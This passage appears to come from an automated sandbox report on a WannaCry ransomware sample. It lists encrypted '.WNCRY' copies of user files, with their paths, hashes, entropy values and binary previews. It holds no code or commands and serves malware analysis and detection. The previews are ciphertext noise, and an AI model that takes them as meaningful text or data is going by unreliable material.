                                                                                                      Preview:WANACRY!.....(b.@Y........A..*.$g.$.s.c...X.p...1..x<..@..i.!(I....M..m.!`..2..H....RZE...y~Dt.+..Q...]U.E.H....G.."R.>x//...4A..S..A...a_YS.......F...u8.G.....L.~..!..<..JFp.5.....+vf.A......rK..vgeE....G...K:.w...>q?..\.:3|.....k..E....$.{.[..i2.:.a...........6.*..q.H......s,..S......nQ2..Vbi.m.X..l..)....xq+..i._./.d..4..r<...ifR.*.......'....@O.p...{l.[.w....mp..Z.B'..4..oZ..*[..JuE...S....B.....+ip.S.=........4.oa.........j.3..o....j.7....'....vs...r!.I,..|@|.x7.P..T"....g.Y8/.g.....j..*...`...q.....d++2.<.B...a.F......jrD...8I_.1.a^F.d...^...6j[.M......?.i.L</...X.A\nc...^_.`...`.G"?8....j}.=...rb.......w3,..l1.2R4.{*..w.....p.'<u....]..."..f...4.L4u.cHg..s66w[r<.g.d.. q..6Z.........D..Rb.7...X.".;...j ...:IA>.......%.|4...=.P....so.7-.....h.Q......#..A......x..Y...{W.}.?..(J^.8.."..b......~...De-..G..4...a..L....e.].iw......~....(....d..4..|..%M*.......kS.!.<...B.scE.H.E{.7..(5.r..Q...Te.*..~..6P..X8.Nw"E`..)wW..3..~.q~.%.h."> .5...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2ba3710e-bf6a-46ef-97ed-2efbb606e519}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37464
                                                                                                      Entropy (8bit):7.995245747223193
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:0pAnYHIT3qPUiVxoRcm3fHpyaZ8PvqKrhv7acpq12p9wkTdMTn0:/YoLqPUiEcmRyajKrt7acpqdk6n0
                                                                                                      MD5:486EE13EFCE9EB295BDCFF02A08F7551
                                                                                                      SHA1:BAF4923CF81728BBF1657FC66B8826FA944F0910
                                                                                                      SHA-256:5C11628140A135D270886B1A7A8E46D3A7C4BA9E6B816F0294B96AF76E7767EA
                                                                                                      SHA-512:E9CDD1BC630CDCCF8842613FC87AE5DFA83271A9C70ADCBD3460F2E5A874FA70FFE542B02838AAB13C85AF5AF09E400241ABD1AED913DB788475EB3D83211624
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....3....7.,..d.>..6w..KL.>.<...:._Q...m1..XP].Y.p..........1.\.6.73.y.S.NM.....:..N./Yh4....@._B.~.hjw"..0^...$/..;.`.lL...b....F_..m..T.(4<......k.......<...........kaA.ts...>[..D.......?l-...^....!K.I>1h.../..H..Zn..T..X.).U.+39..3.B/..oV.d....4........[d...Q.I.b-.d.s..@].F.enS--1..R.r##.W.v..l.A.U.....2.i..4.s.H..p.....y..<.a|.1!9H.....",...lo..V)/...#..-a.T..U...G....V_.LZizVz.;.0.p..1a..i......U.....Zz.....l.ij.(..:D..l]......{..9.u!.v..2......S.}gl.KQ.(&.^. .....%.f.s....N....4oa..I;LJ...p.o...[cd..*Z..KE.v.n.!.R9^....un...H..S..&...V.;....3....B....9.p.k.2.*.R.....%.a!O.H...6.*,.[?V.....3...(<O...nA.?..h..i.R............G-K`N......Y..N..d.~W...c.q..599!.i.|.9..:.G}6...3Q...?...A..mn......N&.9.......r.;E.......6.3:.%Y.LB.k4^.P..Rr.hP#.....R.k..5.D..6j.x$h....4..F.Bjy..R.W..e4G).4..J<.S...")~U:...|Y$...&Z......r..j.?..J..7.._..\.r.P.\....n.;."R.}.3...F{Of~..j....{.`.u.?.g.R.*...QNm..)7..7..........R.m+.s.u.n.jV'V

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37464
                                                                                                      Entropy (8bit):7.995334454358596
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:ifwqQPPXq8mgCguY0JXce4Gl7izTqj4ePnSgeaorz4s0sKVj:UwtPyPQkXce/l7iKjPSg4z4L/Vj
                                                                                                      MD5:A7B9D83EFA70C532BD2118FB0E412412
                                                                                                      SHA1:1E3A531218665F30E4B3B267F37A500970533A20
                                                                                                      SHA-256:C68A1B8305874E5A936938BEB5678E444DD331CAA1D63BCF7B2047C1B2B7F3B6
                                                                                                      SHA-512:B33265FFC3232AD7CE11800C0F23CD9BEC1F28B85F885894FD7D72E3430C695E27CF96C424CCDD3C8FC9BB0CE585C60A2EF9523833EF2F0820BA418D090F02C7
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..............z..U F1...(...[..?d...~.$..h.......|.'.v..%.......c..s....{..{%.....T....L.V....%U....+.V.>p.p....4.z.?=.R......rl....LwC\...`...6.r....W.......S0..P...dPh.f.>.9ah^.qW,.....2o..B. .x.+5..{.K...@.{...&..gkg.t.].qv...,....n!......j.........4.......V...nuQWK{e.>...W.,,..w..........`Z..X..!\....P.M.E;./E..^..k.e.DD.....u.f...2X..q....R..W..i|.....rl.g~2.T._.!...>.a..B...,..d..v....z)usf.r..OsK..... .b..d...io.bVC.-.!.M..f..|.Z......i.h.q.......H...a#.f%j.~..?.p.7:..fmR&.a.B...n..c!.$.S.o...(.2....7..S.....].c....s..w.2+..0d..t.s[,..7..A.B..%[m..w.......B.......L...k...A..Eo......\ .G..\...?....$....-"%.?..G4.?.....@.'.|..b...T...5.<.D.+.@_6.b2+...i.....$.8...H.k.-J.;9.<....N..S/..P.k.\...Z].a.Z....qvLf....l...F...gA.....'...c .W.jy*.....Z@.D...oo.a...g...9y......le..~....9;.W.....O..._...)..B.dA.._.S.G....?....V..0.f.G.40..|.[..qA.....*...{3.S...(..u./G+6..[.6'..{g....:bW{.p.E._....3G.[...y....`8.'Y......u..!.X....~.&Y.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{c7a88677-8220-45ae-8b75-3e4ab11a6127}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):37464
                                                                                                      Entropy (8bit):7.994569115025049
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:l/nuZoBzAcL+WL1oIbbTN+mgUKjmy2El8bLPpvMeZIeECfQvcWlgMC1ZFW5rn:lvum6WL1o+XA9jhebLPxMeZ0Fv5k1ZFo
                                                                                                      MD5:EEBDFEAB550C8286608443D66A1540BF
                                                                                                      SHA1:D62A2A79B5EFEDD601DE5DF0052A864260B6E7CB
                                                                                                      SHA-256:4BF8972F27AF9B4C9B1305C0B75B96C736C9B05450BCE59109A93BE4BF113326
                                                                                                      SHA-512:47293D9E762CD6554CE01F136895C3738570E38A1A0A6F4C9A2BA5C6523C282CC4DCB45720FC53DB5B4C7F7074A4401A77D893A201119E8D5F12A875529A0B8F
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....>.....o&...DF?...x.L...b....L.e\.O....{,.:....-.PL.M.3.l*8?....t.<L!._....n....p..w.3..N(.....$......,.6Q< .r+.,...to[d.nvo......L....S..W-.y2?O"..(..H.=Q{|..FSI.....Q...f,m.l.(.....A.U.^!b%.u..3{\\>...z........mpU....}....*"Pv&.~....m.e...S......)....4........-...V.8Bk......:..3..Y..k.&.;..?.........a.>l'..6.o/......e....~_.(/..].{w.`.S.-.c....[3..T;.4....o*DD.>..J.9.qdy......X.u......z|.$.MR..u..h...:,.FQ..K.....~.!...!~.`.(u..0.]......n.......u.jj\g.J?.5.E.........O[.Q.%.R......i.$.{...>...?Xz.u4.....".0.,e.=.#.\...Y)_.r.._i.."....i.(.......D........w4s_#<......x.:<,.....8..SC...8..B\.=W.P..95........tIe.N..T..j.././......\.v..3.Fp..5s....<.4.$...6.{.lm.......O.........a.}P..%.J.I.k........ ..0.i+!....'......f.9...t0..rS/..H...."[.>.....VK*........4..Xe..l.v[.....x..D.qQ..3}...G.#.(..J...-...%.qC.7......<.W...S..vKy.u....W...,...a..4......E]..t....[TyA....J7=..F...1.)ha.m[|........9.J...l..RZ..&.02g/|..+.]?...w.x&..A.)0.D..&..U

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):533032
                                                                                                      Entropy (8bit):7.999651396891387
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:mvyjfZgCK04ROwX847+NIrEgxTZ4g5MeiMfnpeKrbaI3UDwXRfaJ:mvKfZ1K04sIKIogTZ3BNbnUDf
                                                                                                      MD5:75808DAF5E96716B5090CF1CB96B6F35
                                                                                                      SHA1:21F83953F925D614DFB9BA6FB5CF7D143E8CA18D
                                                                                                      SHA-256:88DE9482D9CEB7F3A7F5DAAA1A9CA04C8081C3C078BEE548CFF403B93B7D13DC
                                                                                                      SHA-512:0CE45160A43C74674300DE1878B61C5D43381BBE114FD8DE70945928DCA4CDCAEA22D27A4D1ADD4228CBE97E2B8569E0752A11513BB93191A65A34BD45E3269E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....I!.b.Cz.....0..C1m.smK..W].).].e..p.\...m%.f|..@W.v4.4YC.2.I.X..=l.g.|.-ca`...s..R5y..d....Z'C..F.-1..$...X.2.(..).|%.p......8......*.....o($~.1.r...^...D..,n2Q'J0.4.1.Lv.T`....?B+`.:.9.w...$..Xuh.Un.t.V.Q..N.o..K(M.........x.}4..6....D|.4..1.....!......\n.hj.;.. iK....b..S..J......Y'...$.`oMB.......$D.S.p...w....SR.V.......l..B;..6...vG.U<....s#R...4.).BW..E...U.}.j....`_.W.a4.ps....)4.2H...;.$...u.._...^.\./.f..+.u...ATc...P2_..0A3"S4..../.hy_.|..M?.~.w.%...a..?...P..C}........0......W..{.-.W.sL...]"-.R.]1V.]+M.......z.^..}|8....-<.....%.|F;.O*x.J.5......(....=.\"J...H.[.<{..hJ.P...C.f......]...C...@...>.4^...J..9.. .B.+p..VT...7.k..m....U.N.R$.2K7...u.,.......S^.....*.$...K.,D...^$.J.;.n6.m.&g.....l...0...~...XEO.j..b.g4...i...........5o....D&.!..q........T...^..-}k.9!H..R.wt.t%K...;..HW.....s-.0.lC'...}._.D\a./Z%.....x.....ND.,....'.-.D........5ab..d{I.....j=..~hK.;}.....U#...B.IY].p..zT.T....Q..II.T'U.O.....d.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):104008
                                                                                                      Entropy (8bit):7.998561969473058
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:6JfaObCSLx3xAwQhAN1dGTE5dtP+5KJ5ikPPsvima6XIpKWNlRf2tcL0HeTOG0No:6JfrCSL5ax6v0Q5TT0dv5+lRajPQ7
                                                                                                      MD5:0E28375DA97E7C7089F6C7F51C5BD39F
                                                                                                      SHA1:B581C6BD2DF509CEEB81919C940128BBECD624BA
                                                                                                      SHA-256:5B1553AE3DB8F0A533F8676BF96CCAD1CAB382BE130D77CAC8B38EFC21EE6F11
                                                                                                      SHA-512:90232EFCD7AB073F21912A4FEE33D544FA2E6BFFB01E3075EC3DC65CE7F98A13C482D856E2DB037A3D33366C293BE2023DB2BECF0912363CD1818F90059230EE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........Ab..4..XcRP.>.?.......=}...m..G.7...8.....6..r.....{D....|...^W..L_.v.N.v....b...H....W......Il....=.......g.fe.H]mz.Yr.._.|}$...{m.K.2i.9.d........j.....s...RUk.2"KE\-j.xg...8....O..9.v..o......r!.L..c@...v..X.v.>.]z..-.y.......2;.T......L....%........{.F..49....z.~.....P2o.tL...q7...Y.RA/.m._.-.`.^....}P<es)x..H-.......f=..`...b`...P..w.S..L<.jP.P..0.K......B...Z..O......8..!....g........==K..Xq%jF..u^.6.a.........O.>..R.V..n."(..r.|0..<.A. c}G ~<.[~..o.;I......s..K...+...Y.%.%..=C.fU..W.<.B....C......&.k+.....*D.....G/..`.N0..!_..1....$Z.T..+?u9.hj...^.i...y4yc.U.{.......$....1..f.....x[.@.%..5.:.x.9:....%C..Y.....#.i..V.....S..";h4x..m..@w..n.E.B.....Cc.t...........m.5..c4.t.l".I.7.{T..Nr..u.m}RX.8(.M.k.:....' +1..c&w..'"..S.Ds.o..Q.XQ.....m4.f.'..u.C.1d.9.=F...|u&.DgE.-:.0|....m....L.x....(A....uc.......QMzd.H...05....%....bE...z...^."`.4.....jR.$.x...g...<...G.x`f.....p.....B......Qi.-.m.sDg...^.q4.|.:.N.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):217800
                                                                                                      Entropy (8bit):7.999175616815625
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:CfjA/18R547vbNNG2V3w3TiSa/Eob7uKZEJBeXBlGO:Cfj1C7vu2VKOSaV79D
                                                                                                      MD5:0D4C519B45EBB59D4ADD327E8DED8F13
                                                                                                      SHA1:3534F7120D6E36D2FC240CA36AA96F26A68431BB
                                                                                                      SHA-256:4F6CD117FA64F777B0DD024547C83E9F7FD674272B41973B1EF3729F4B5ACF46
                                                                                                      SHA-512:AE4502F8EA882BE158035F2D38D8ACD0FFA30455281883D36F8FC918061FDE1DC95D9D5BBA94B3E946434520D3035C04F56367D297E30836121075B884D042B4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........;..Wi.L@.].}2y.i.....l-.L...b6w=...F......#.7..z......i......\...l0..Kv}.p5"*.T.N.w.Tr34".b...G..$K..!.p.......&..n. k....l.cQ.#.h..2............c..w....]..[.K...|.2.......u...'(].....y..`..4..v..a...._/.....'..x6.]Y....@...........:.z..$......Q........,..V...I....U.. $...^h32X..Ze.O.....o..H.;4....6...pn.V.&.U._.V..o!I@.{..q...qW.....e{VDb....P...n.]n..<.\ ..;i..{.e...J.t4....'M..m+E.^wgt..$....$+..JOe..5......:t!vx..K..r......&/.....-..I.2...t.{......Kn...S.:..YLn....$..e.!....I?..l".9..#O...k....}..j.[...._~.........&dl...=".5-7.b..f..<._.|x../u.b..c.R....T...n+.5.+1....q.r..D....~]...Y..G"......|-M.t.)......8.6..Tg...N.}:>.H:...F.91.i...?.+.(.R...u..Q7..s.......v.f..!s/...%....~....v.C.:.{G...*l.v`.Bn...]+,P...0.ULR....9.7....R...M..~.nC.!.#..o....V..V..+o..La...K.$.Ub${_.D.q7>..A4|.:f~.....=mYYa....J.zhj.&..V..+.H...~n...8..q]q.. .K.;dv9..+I=..4.....d[ag..@F.....\S..r.]n|_.......q..~.q.].X,I8...1=p.:.PB.Ry..Tq.....+t.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):217800
                                                                                                      Entropy (8bit):7.999152765932119
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:Kg655KYVDqVRaBlvdOWRoZvf5R8j+RAHGs9g4V:KnjPVDqUvdvRoBfg5L9gU
                                                                                                      MD5:8C04853962AC62F91CC888B8042E4B69
                                                                                                      SHA1:902598FA80A68CE5DE1B5215D7DBBC634F96190B
                                                                                                      SHA-256:FC45EE5080F4E5ACA7E30FD610B5C23F0485BBB91AFB962D1E9A8323A2B41A0C
                                                                                                      SHA-512:99E970668EE63ABE83F743DCAC5F4A27C068F2D0E786740F48984F742B5F0642BB17BB105E7DA570599FEECDFFD80C03D39B0F494796D2545695CF6ECEBB40D4
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....C.......}A.{...5...Pv<...g..*..Z.....J..b.8..>}....d.Xyn..ed...N%.....*...N.5..rC....U.......9qK..9..t.+).B...K.G...~...q}.44N.k$...9..U...?k0..&...|.!I;d4.q..v.nYV....@!.O.O"...#...`.SO..2.....u..`.......N.}..M..#.....c....}.q}3..s....j....\.[.".....Q.......x.......?.?...o:....z.o....d4.....[...$.Q,).)....r.=0.u7.M.fwqUU...Z...+.l3..O.D..b.$#R..6..L.3..\N2..w...$.w.........f.....W.'..v.3.A..B.$Y.f....V...GM.[X~.[...HM..0..Iy...Eu&.....k"R.K...!...0$.....}CR.zy.6^.Z.....2.r...,7vti.wyzh......H....5.2.#3M....WA..v+..d@..3.....q!.P[....0....Q~.4.KP.U.U.......HB...{.."K.q......)R".-....1......Y.i.y..dc....@...fH~.b1=~.l...f.2.h.bh..<Ek.....s...1.;j..X.'q-.kz.}.....E..h....X..S.dF....l..tL..Z.gW...@8c..?#.c..K/.<b......R..^..sY.b.X{d.(U....e....W2.O...z.V.....L.3..n`D4]P/$.J.G..;.........`.....u.`(.>.c...y..1.#.F`.{<..Z..be.w.wj..S....1 .I..x.ZS..5UX<...;...d.}..P#.9....S....V...R^.H..2c..".[..l. ....Z.va..V.A.c..).;..r..~?%,.#.{

                                                                                                      C:\Documents and Settings\user\AppData\Local\IconCache.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11496
                                                                                                      Entropy (8bit):7.984606745908652
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:xyGa/jYCPTqiOM6K5TVXvSQ+/6Xg8Xi2ZZQc0FUlMOqGW+AFuVTFhdtnWdsrziEp:pa/rmBM6K5RXv4CXg8Xi2ZZQc0IMOAI3
                                                                                                      MD5:E6020264A605B84964A30DB7225FBBA4
                                                                                                      SHA1:E8FFC3AC7160579781A8E804DBE25C15EFC4287F
                                                                                                      SHA-256:1F5E8858F0135FAC2800E7BAA49457B9464F3A07CEE88694D8C64D42F1002DD3
                                                                                                      SHA-512:779B8C8D762EE08F00FA13909AEB8EE22AA455D5783684A745383972410CA818ADACF5F0DC61C6952EA09964FEA54550BB94581615C3471905A5994CC0F81C48
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....3....Tl.[.J.....*.D..\Bu.)....>j5.B.w...U....Y......l|0.Z_.i.O.......W..j.5.ya[..@......Z_S.Z..4$odV.....=0p2....a.z.f.]..8...Q...6.Ml.tG...e.0..G.....8.H]..;p.3..}..Z.)..j.....-..u..U.....0........Y...0-........K.....z'!e..N.G..$.y<....%.VU......+........8..XZ........F......#.X.........$q...4.Y........I..p.:n..._...A....{.^.K./0.....sG......u..<t ^v..G#5.t.urS.q..V%V.....A.(:.!.I[.....=.;.j...srf..].y......}..*.T.U.&..B.pu..b.T..2...pxas&..T.-...}&.. k.Y.q...4.u.7..r...>...7Xl.qa.....-0...W%..^J(.....=......K.....T0> Va~.1.U.T... .>...q(F..A...7.tz.Y....!.Gz....._.%n.<>....L..[...3.+....P`v(.....f..y.x....#=b...L.......=..n.I:.....X....x...dP=.H...Y.+...p8...w.....#..E..q|.O.#.r.I....n...<<J......z..h~..Rc.....m_.iw.#...+T.g,..J.,I.}!U...U..&...R...T.]Z]..;........I.m.).l.+].w.K.a...$0....3...=.A...).....tr.{.5.t....'..s.....m.<3...YAn.?..GOy-.n._....6._v......m.=.!...,TX....,&,.S`v._.i..g\1$@)...Px.2a.....

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845441272235062
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk0McSloH4vqp2UddnalTsLBiDiKr09c/FsVpjr4LOXLR1isCX+77DrH1t:bk0McKZvqp2AdnST2QF/SXr4C7RbCX+L
                                                                                                      MD5:399FC7A5B8E33211591EAC23ABDBD105
                                                                                                      SHA1:B53E2FB059956800D80A2CE48C1441C9196DC51B
                                                                                                      SHA-256:A7D89AA99E13BBA6ED03CA6BCE6ACB74258A2E96B8230F4EC7DE07D83A224CEF
                                                                                                      SHA-512:104E35676FC1E640F54C4AF3CCA4D8BD0FA35430D1DDB2101D8F096E5DDD11A6EC7DAED0B51C2BF4AAA2BABA07ED6CFA293909B52BDC39DE5B08636242D3A82A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....q..xD.X.r^..s&.!^..1i............D.+~F.%..Q...&'.......I.....L.)I.m....|Q&..+.(J.!Nz.&.!a6.....Q..j.P.ZN=..h.....D.*.......O"N.)u..Q7....od.>.^)......2.b..N.aG9...H#..N.%*....Mwf`...a..l.-.......U..22$..n.,4Q..~...c......7~....E.C................(......?../A.{b....m.\..;@......q...&....|.D....p.GVW..e..o........f.ew..`S~;....\].=gp..}....*...J&.T....KL~`L....O.eu..P..-U...)=.a.dp%.&^k..E.Sn.1b..QFo].a:.@....gb...6...y.Y80.....|..vh....=...]... ".P.I4f..8H).. %8k.!.N!5.....6o;..4/^0?....p;gK.9i..u....I......k.H..x.....Dd...(..4S.B...b{I...S......&L#.....O.'{x=.....x.0?.4....=_..0| ...V...%...;`8)......j...O+Z...-T.E.;.....N.50.*....O.J...T<6...yO.k...5......ua.$.)F.u.|...\L.....2.2..R..a.NG.8z..8.P..V.n...Hg....}...7].l..o.[Y6.k0>.....Z......n.......;Z...J..J..nJ.s.T;..S.<.).......6.'.a.....q.Zc......L.S....h....e%w....P3.%...?.'...j..[8.4.....>.ej.1K..0#.4...0...Y.Qc%..........D.N.}..sn...hXyk..I.Q:Q..J+Q..W..K....V..u..

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BQJUWOYRTO.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833237607951859
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkV9HwTJyOl7WD67oS+zsSIWEYP2aX9aEASXlLJc/yZT4O:bkV9Hpm7wS+ASIWXh52yx4O
                                                                                                      MD5:A271AF131C4D6FEA484268AACB4D3A59
                                                                                                      SHA1:68D376AD1719F82EAB2FD4F619EEFAE4A0AA8571
                                                                                                      SHA-256:2914CFD042598FB1431C218A938FE204C49D408EF57193307EC32B8D7DC628BA
                                                                                                      SHA-512:4C9918247A69D670F9BDEDC6678EC7050A2237036D0F1E203FD166EF448B1A4A8850CB7E890111A34F6602FD06CFFB7B424032867AE21F050C4F6DD5D57CA2DB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......C...<.06..(.fW...E...J|&=A.x|...P..k-}Ho..L~..E.jx.........i........')6..n..W....|..][.1..*r.h....g....... D...\...O...usNo.7..%q...'..cu.L...,...@...Zp.*.@p%Z..-.R..u^...|D....''.[...W{...............'.Z'.yi7.A...]...m.dz.WA%2.M..../.%|.e..............Ss.......k..Bw...?.+..3:..$.. .{..kh.n.....c.w..j....c>........m.....v..L..3.N.c.Y$(W...C...H1..!B.w.....A.E.......7...!...q.+...f..sj#..6t.B.p.EB..........PEE(~.......3....!..X..R\....p...y[...gx5.I.u....<...1.E..#R$X......p...e.d.M[.....W..O.S.. ...$[..,..$..C..IW....z......./.c.qS.*.}+..e....._ !fR...-...u.!p5.Ag...8.l.._..&....uq.bd.5.. ....|](.Q.]..*....k......F.|.AEn..+....NU6..........+....?|..../2.*}........._.SD.Q.?.......RM.`.....A..n...F...D.....gi_.K0. ......Q$M......O..-IWR..t.....x..$.7.g......yq.E...|...uM..OW?.A..g%..\O.XY.Z^e..=.E*...<...[..9.D..7I..7..N` A.....,..a.ze..vFPAt..\z+...r..."&u.7....eI......n.uqg....^..........N >*a.3.r.,C..|....b3P...)...A'6.'.

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\CROLFSOWJY.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.852564726358795
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bknLT+jvNu1IbcTebhValj+WtBWm+wf3/o+5VAwQTNA83PFzONucVj:bknL6Nu1UDMlSqgmaAITm8/5+j
                                                                                                      MD5:A12A283ACDE7B6262FA3D46F23FE3396
                                                                                                      SHA1:18FF6B628E2B1EF54048BF3B0E65047021F35883
                                                                                                      SHA-256:7CA5E60A70FEAF78C4720AF4D29AF161028C9CD6514DE303C386E77D73AE0623
                                                                                                      SHA-512:9F8D7713E6A0CD60161CB0B7DD0CF2D59D59B48E5CFEFAA58BB5E33937502A4E9B529FCC27057FBE8B383D536C8122AFE4C39D08DC68E9CC41D1C674AC09B5C0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....<.( .(...._B.......W}...../.~=...9>}..`....."....&.A&Y..k....3..p..'.Ho...cL}ZS..."Q..%...I.4..6.KB.@8........h......6...2h.W...L.C,.M..?....D.i..B.0.....r.UYe.{..d..O.!.Y.qS.L..w@.?w...........M..:....[.k...z<...q...N#7)7._.s'.6....\.t.3k................A..:..b.VoJ.%..T.>...y..d.....x.....'A\...&.!m....]0."..#Y....z~....... o..e..+C.0..j-..d.y.e...p(q.......q'|~.....fv....mX.y.uC...Aj.k^.....T.,._p...X....F.'bdr.+].n{....#t.&....=.....@.s=..u@...N...Kw..e..r8.V..7C.q./..|b.(...T..,....U.H..5..^.a....u64T..ef..Xm.7...Bk....;...[U".2#..[.7..P...+.#.k......h.37By'.....<>z.#.fc.z.^.....b;y...z~....+t..F....)ACS.....^.T...SJC..@D...+..;k.~..g$.....V...^...*.S.../..p.D.q..........9e.)d.8Gz4..g......o1;...w.tz.O7......._.U.~..~.Zz.Q1A1...(.o9..!...5.$...p#q%^G/..4..].d...G...$...G.1}Y..x.p=.$S..0.d.....[.u.v.....,......."....J.n.~!j..<....Kw..OT"...D.....j.0...j.{......R.z....+e.......:.2.cS+VR#.s.-......].p.K4.....Q6.II....

                                                                                                      C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\EEGWXUHVUG.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.862361580649958
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkTZvDQL6x2xqfIf/gdiSWbsSLKfBFtbTHyb36T1u1hJQ3LkHk15u5jHq5c9z4Z3:bkyLpcgfod9C3efB7bryb3F41wBfMMWZ
                                                                                                      MD5:F304A24CBEB9C6DC2205ECAC865CED39
                                                                                                      SHA1:D9902D3F874B0DC6D63BB491558D79C95E92E03F
                                                                                                      SHA-256:F51FF35FCB84F9040822A22EFFDF72DCF6DFC635B305ED91673E91BC3B8A05CF
                                                                                                      SHA-512:EA29C7461ED188E3A3EE00969925500129BF416DA2374BDA68881E695A65388B56EAE309589C56050F1E1CA45DADA2858B83B88164BC119855E5FACED11FCB49
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
